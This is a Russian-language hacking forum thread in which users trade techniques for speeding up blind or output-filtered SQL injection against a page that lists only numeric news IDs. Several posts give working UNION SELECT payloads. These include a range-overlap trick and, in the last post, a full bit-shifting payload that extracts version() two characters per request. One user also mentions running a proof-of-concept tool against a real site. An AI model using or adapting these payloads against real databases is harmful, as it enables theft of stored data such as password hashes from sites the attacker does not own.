Очередная задачка по SQLI

Discussion in 'Песочница' started by user6334, 20 Apr 2016.

  1. user6334

    user6334 Member

    Joined:
    29 Jun 2015
    Messages:
    296
    Likes Received:
    17
    Reputations:
    12
    Имеем уязвимый запрос типа SELECT ...
    однако, скрипт выводит данные из таблиц не сразу, а предварительно из обрабатывает следующим образом:
    - обрабатываются только определенные целые числовые значения, например, 343, 45, 34556, 12345
    полный список известен
    - повторяющиеся значения исключаются

    Да, есть вариант выводить информацию посимвольно. А есть ли более быстрый метод?
    скажем ... UNION SELECT ascii(mid(version(),1,1)) UNION select ascii(mid(version(),2,1))
    ну и как-то преобразовать, чтобы они в набор попали.
    Выведет примерно так:
    53
    128
    78
     
  2. user6334

    user6334 Member

    Joined:
    29 Jun 2015
    Messages:
    296
    Likes Received:
    17
    Reputations:
    12
    Поразмыслив около часа, нашел одно решение. Делим выходной диапазон на 2. Теперь перекрываем 2 диапазона. Получаем
    UNION SELECT 500+instr('a...z',mid(version(),1,1)) union select 6000 UNION SELECT 500+instr('a...z',mid(version(),2,1)) union select 6001 ...
    Потом разбираем полученные результаты, если повторений нет, имеем чередование и все хорошо. Ну допустим мы поставили 40, т.е. 40/2=20 различных символов. При повторении символов картина будет иная и диапазоны чередоваться не будут, значит формируем новый запрос с того места, где прекратилось чередование.
    Итог, до 20 символов из БД за один запрос. И это в слепой инъекции. Круто?
     
    #2 user6334, 20 Apr 2016
    Last edited: 20 Apr 2016
  3. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    _________________________
  4. user6334

    user6334 Member

    Joined:
    29 Jun 2015
    Messages:
    296
    Likes Received:
    17
    Reputations:
    12
  5. user6334

    user6334 Member

    Joined:
    29 Jun 2015
    Messages:
    296
    Likes Received:
    17
    Reputations:
    12
    Придумал новый сверхбыстрый способ для слепой инъекции. Если у нас 160 разных значений, получим где-то 22 символа за запрос. Фишка вот в чем, приводим представление выводимых комбинаций значений к бинарному коду. Для одного символа потребуется всего 7 бит, вот и посчитайте. Притом, что у меня значения сортирует, а если без сортировки, то это будет дискретизация разряда бинарной последовательности, но это уже теория комплексных чисел, а я в школе плохо учился)
     
  6. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    чето я туплю сегодня, давайте с примерами из консоли на вывод хеша
     
    _________________________
  7. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    829
    Likes Received:
    815
    Reputations:
    90
    слепая инъекция != фильтрация выходных данных
    слепая инъекция = отсутствие каких либо выходных данных
    под данными подразумеваются данные полученные из бд с помощью sql-j
    оперировать можно только на реакции приложения(https://www.owasp.org/index.php/Blind_SQL_Injection)

    может быть я чего то не понимаю, действительно покажите пример
     
    _________________________
  8. user6334

    user6334 Member

    Joined:
    29 Jun 2015
    Messages:
    296
    Likes Received:
    17
    Reputations:
    12
    Yarbabin в сверху уже кинул ссылку, ситуация как в примере [4], только новости не в get, a формируются списком из номеров на странице. Так понятно? Т.е. Совсем ничего не выводиться, а только номера. Всего около 160 новостей, которые отсортированы попорядку. Суть метода пояснил выше. Чуть позже выложу реализацию, код весьма длинный.
     
    yarbabin likes this.
  9. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Тема не новая, но я ее люблю (больше, чем бинарный поиск). Называется Bit Shifting, вот оригинальный ресерч.

    В октябре писал PoC, где используется как раз эта техника + тема с keep-alive. Не знаю, работает ли он сейчас, поправить будет не сложно, а мне самому лень. Вот результаты, которые он мне давал на реальном сайте:
    [​IMG]
    Те же условия с sqlmap'ом:
    [​IMG]
     
    _________________________
    #9 <Cyber-punk>, 20 Apr 2016
    Last edited: 20 Apr 2016
    user6334 likes this.
  10. user6334

    user6334 Member

    Joined:
    29 Jun 2015
    Messages:
    296
    Likes Received:
    17
    Reputations:
    12
    За ссылку спасибо, но Keep-Alive здесь как то не совсем в тему, ведь число запросов к sql- серверу от этого никак не изменится
     
  11. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Это было добавлено просто как "фича" для оптимизации вышеупомянутого способа.
     
    _________________________
  12. user6334

    user6334 Member

    Joined:
    29 Jun 2015
    Messages:
    296
    Likes Received:
    17
    Reputations:
    12
    ок, слушай может скажешь, а способ с перекрытием диапазонов может кто-нибудь описывал ранее, или я сам каким-то чудом допёр?
     
  13. user6334

    user6334 Member

    Joined:
    29 Jun 2015
    Messages:
    296
    Likes Received:
    17
    Reputations:
    12
    ... union select if(ascii(mid(version(),1,1))&1,55453457,0) union select if(ascii(mid(version(),1,1))>>1&1,853463423061,0) union select if(ascii(mid(version(),1,1))>>2&1,3536345585,0) union select if(ascii(mid(version(),1,1))>>3&1,35346436595,0) union select if(ascii(mid(version(),1,1))>>4&1,3345081218,0) union select if(ascii(mid(version(),1,1))>>5&1,12834682877,0) union select if(ascii(mid(version(),1,1))>>6&1,538534643604,0) union select if(ascii(mid(version(),2,1))&1,3455453457,0) union select if(ascii(mid(version(),2,1))>>1&1,45853463423061,0) union select if(ascii(mid(version(),2,1))>>2&1,563536345585,0) union select if(ascii(mid(version(),2,1))>>3&1,1035346436595,0) union select if(ascii(mid(version(),2,1))>>4&1,81218,0) union select if(ascii(mid(version(),2,1))>>5&1,877,0) union select if(ascii(mid(version(),2,1))>>6&1,3604,0)

    Таким макаром извлекаем 2 символа за один запрос. Дальше я думаю все понятно. Количество извлекаемых символов за один запрос зависит от длины списка новостей